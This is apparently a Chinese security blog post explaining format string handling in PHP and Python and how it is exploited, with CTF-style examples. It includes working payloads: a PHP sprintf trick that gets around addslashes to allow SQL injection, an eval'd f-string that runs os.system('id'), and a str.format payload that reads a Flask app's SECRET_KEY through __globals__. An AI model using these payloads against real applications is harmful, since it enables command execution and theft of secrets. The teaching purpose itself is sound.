格式化字符串漏洞

在大部分编程语言中都存在格式化、这里针对php 、python进行了整理

Posted by BY Diego on May 7, 2020

一、格式化语法

① PHP

在PHP中存在多个字符串格式化函数,分别是printf()、sprintf()、vsprintf()。

字符 格式
%% 返回一个百分号 %
%b 二进制数
%c ASCII 值对应的字符
%d 包含正负号的十进制数(负数、0、正数)
%e 使用小写的科学计数法(例如 1.2e+2)
%E 使用大写的科学计数法(例如 1.2E+2)
%u 不包含正负号的十进制数(大于等于 0)
%f 浮点数(本地设置)
%F 浮点数(非本地设置)
%g 较短的 %e 和 %f
%G 较短的 %E 和 %f
%o 八进制数
%s 字符串
%x 十六进制数(小写字母)
%X 十六进制数(大写字母)
<?php

$num1 = 123456789;
$num2 = -123456789;
$char = 50; // ASCII 字符 50 是 2

echo sprintf("%%b = %b",$num1)."\n"; // 二进制数
echo sprintf("%%c = %c",$char)."\n"; // ASCII 字符
echo sprintf("%%d = %d",$num1)."\n"; // 带符号的十进制数
echo sprintf("%%d = %d",$num2)."\n"; // 带符号的十进制数
echo sprintf("%%e = %e",$num1)."\n"; // 科学计数法(小写)
echo sprintf("%%E = %E",$num1)."\n"; // 科学计数法(大写)
echo sprintf("%%u = %u",$num1)."\n"; // 不带符号的十进制数(正)
echo sprintf("%%u = %u",$num2)."\n"; // 不带符号的十进制数(负)
echo sprintf("%%f = %f",$num1)."\n"; // 浮点数(视本地设置)
echo sprintf("%%F = %F",$num1)."\n"; // 浮点数(不视本地设置)
echo sprintf("%%g = %g",$num1)."\n"; // 短于 %e 和 %f
echo sprintf("%%G = %G",$num1)."\n"; // 短于 %E 和 %f
echo sprintf("%%o = %o",$num1)."\n"; // 八进制数
echo sprintf("%%s = %s",$num1)."\n"; // 字符串
echo sprintf("%%x = %x",$num1)."\n"; // 十六进制数(小写)
echo sprintf("%%X = %X",$num1)."\n"; // 十六进制数(大写)
echo sprintf("%%+d = %+d",$num1)."\n"; // 符号说明符(正)
echo sprintf("%%+d = %+d",$num2)."\n"; // 符号说明符(负)
?>
%b = 111010110111100110100010101
%c = 2
%d = 123456789
%d = -123456789
%e = 1.234568e+8
%E = 1.234568E+8
%u = 123456789
%u = 18446744073586094827
%f = 123456789.000000
%F = 123456789.000000
%g = 1.23457e+8
%G = 1.23457E+8
%o = 726746425
%s = 123456789
%x = 75bcd15
%X = 75BCD15
%+d = +123456789
%+d = -123456789

其他用法, %’xns 格式化 x为填充 n为填充到多少位

<?php
echo(sprintf("1%s9\n","Diego"));
echo(sprintf("1%d9\n",'456'));
echo(sprintf("1%10s9\n",'Diego')); # 置格式化字符串的长度为10默认以空格填充
echo(sprintf("1%'a10s9\n",'Diego')); #按固定字符填充

echo(sprintf('1%2$\'^10s','Diego','Diego1')); #对第二个参数填充
?>
1Diego9
14569
1     Diego9
1aaaaaDiego9

多个参数格式化的方法,很常用的方法

%n$s 多参数指定位置,n为指定的第几个参数,s为指定的格式(这里是字符串)

<?php
$num = 5;
$location = 'tree';
echo sprintf('There are %d monkeys in the %s', $num, $location); # 位置对应,
echo sprintf('The %s contains %d monkeys', $location, $num);    # 位置对应
echo sprintf('The %2$s contains %1$d monkeys', $num, $location);  # 通过%2、%1来申明需要格式
echo sprintf('1%2$\'^10s','Diego','Diego1'); # 对第二个参数进行格式化
?>
1Diego9
14569
1     Diego9
1aaaaaDiego9
1Diego19
1^^^^Diego1

② Python

格式化的几种方式: % format f’’ Template

利用 %

In [1]: name = "Diego"
In [2]: age = 999
In [3]: "name %s , age %d" % (name,age)
Out[3]: 'name Diego , age 999'

利用 Template

In [7]: from string import Template
In [8]: Template('name $name ,age $age').substitute(name=name,age=age)
Out[8]: 'name Diego ,age 999'

利用 format,可以格式化对象的属性

In [11]: name = "Diego"
In [12]: age = 999
In [13]: 'name {name}, age {age}'.format(name=name,age=age)
Out[13]: 'name Diego, age 999'

In [14]: class test :
    ...:     name = "Diego"
    ...:     age = "999"

In [15]: 'name {name}, age {age}'.format(name=test.name,age=test.age)
Out[15]: 'name Diego, age 999'

利用 f python3

In [1]: name = "Diego"
In [2]: age = 999
In [3]: f"name {name}, age {age}"
Out[3]: 'name Diego, age 999'

二、格式化字符串漏洞

(1) PHP格式化漏洞

① 单引号逃逸 或吞噬

当遇到无法识别的类型,处理方式是直接忽略,上面的例子再来一遍 YFuH8e.png

<?php
echo sprintf('%1$\'^10s',"Diego"); # %1$'^10s 含义为为第一个参数按照 ^ 填充到长度为10 并用s格式化
echo sprintf('%1$\'^s',"Diego"); #尝试删除填充长度
echo sprintf('%1$\'s',"Diego"); #再尝试删除填充字符 ,s被认为是填充字符因不符合规范没有任何显示
?>

YFGI9P.png 先举一个实际的例子,比较常见的例子,单引号被转义,当输入 %1$’ 转义成 %1$\’ ,在sprintf的格式下,%1$\ 变成了空值,因此只剩下个’ 因此达到注入效过

<?php
$name = addslashes($_GET[name]);
echo sprintf("select * from product where filename = '$name' and adddate <= '%s' limit 1\n",date("Y-m-d H:i:s"));
?>

YF0but.png

同样可以吞噬 YF6nns.png

② 数据泄露

这个属于开发问题,不小心就会把其他数据带出 简单例题

<?php
include('flag.php');
function welcome($arr)
{
	$data = "I am looking at you %s";
	foreach ($arr as $_k => $_v) {
		$data = sprintf($data,$_v);
	}
	echo $data;
}
$arr = array($_GET['myname'],$flag);
echo welcome($arr).'<br>';
highlight_file(__FILE__);
?>

当用户输入%s的时候就可以把flag 带出来 YFcV56.png

(2)Python格式化漏洞

①f修饰符任意命令执行

当使用eval解析json数据时

In [21]: test ='{"name":"Diego","age":9999}'
In [22]: eval(test)
Out[22]: {'name': 'Diego', 'age': 9999}

In [23]: test ='{"name":"Diego","age":f"{__import__(\'os\').system(\'id\')}"}'
In [24]: eval(test)
uid=0(root) gid=0(root) =0(root)
Out[24]: {'name': 'Diego', 'age': '0'}

② format 格式化

若用户可直接控制,格式化字符

In [31]: class test :
    ...:     name = "Diego"
    ...:     age = 999
In [32]: "{name}".format(name=test.__class__)
Out[32]: "<class 'type'>"

In [33]: "{name}".format(name={test.__class__})
Out[33]: "{<class 'type'>}"

例题

import os
import os.path
from flask import Flask,request
app = Flask(__name__)

class File:
    "The file class"
    def __init__(self, path):
        self.path = path
        self.name = os.path.basename(self.path)
        self.dir = os.path.dirname(self.path)
    def listDir(self):
        return os.listdir(os.path.dirname(self.dir))


class FileReader:
    def __init__(self, file):
        self.file = file
    def __str__(self):
        if 'fl4g' in self.file.path:
            return 'nonono,it is a secret!!!'
        else:
            output = 'The file you read is:\n'
            filepath = (self.file.dir + '/{file.name}').format(file=self.file)
            output += filepath
            output += '\n\nThe content is:\n'
            try:
                f = open(filepath,'r')
                content = f.read()
                f.close()
                return output+content
            except:
                content = 'can\'t read'
                output += content
                output += '\n\nOther files under the same folder:\n'
                output += '<br>'.join(self.file.listDir())
                return output


@app.route('/',methods = ['GET'])
def hello_world():
   file = request.values.get("file")
   if file is None :
       file = '/etc/passwd'

   fileread = FileReader(File(file))
   return str(fileread)

if __name__ == '__main__':
   app.run()
   # fl4g/flag

一个文件读取的功能。 YEtVr6.png YEtEKx.png

输入不能有fl4g YEtBzn.png

file.dir 直接拼在了字符串里 当file.dir 为{file.name时}

('/{file.name}/{file.name}').format(file=self.file)

然后构造 YEtOFe.png

③ ssti

虽说是ssti,但还是有些差别 python的格式化字符串的利用与沙盒逃逸或者python SSTI很相似,但format与后两者的区别在于它只能读取属性而不能执行方法,这就限制了格式化字符串的利用与攻击链的构造。举个例子,python SSTI中可以通过’a’.__class__.__base__.__subclasses__()[12]来获取任意类,但是由于format函数无法执行__subclasses__()这样的方法,直接把这种payload套进格式化字符串的利用中会报错type object ‘object’ has no attribute ‘__subclasses__()’。

__globals__,以字典的形式返回函数所在的全局命名空间所定义的全局变量,用法 函数.__globals__

在上述代码中如果存在secret_key,通过格式化也是可以获取的,与ssti不同的是,格式化必须依赖与给定的参数来进行的(format指定的参数),可能为数字也可能是字符串,可能是对象,一切皆可能

app.config['SECRET_KEY'] = "12345678~!@#$%%^&"

上面的题是指定的对象及如下

filepath = (self.file.dir + '/{file.name}').format(file=self.file)

同时对象还包含一个listDir方法也就是函数,因此可以调用这个函数的__globals__属性 YVAll9.png

存在app,在flask里 app是有SECRET_KEY属性的 YVVkV0.png YVVibq.png

在类没有函数的情况下可以调用 __init__ 前提是类存在该方法 YZh0US.png payload 如下

{file.__init__.__globals__[app].secret_key}

YZhB4g.png

如果是字符串的话暂时还没找到可利用的方法

三、参考

python格式化字符串研究

Python 自定义函数的特殊属性

Flask/Jinja2模板注入中的一些绕过姿势

PHP字符串格式化特点和漏洞利用点

Python 格式化字符串漏洞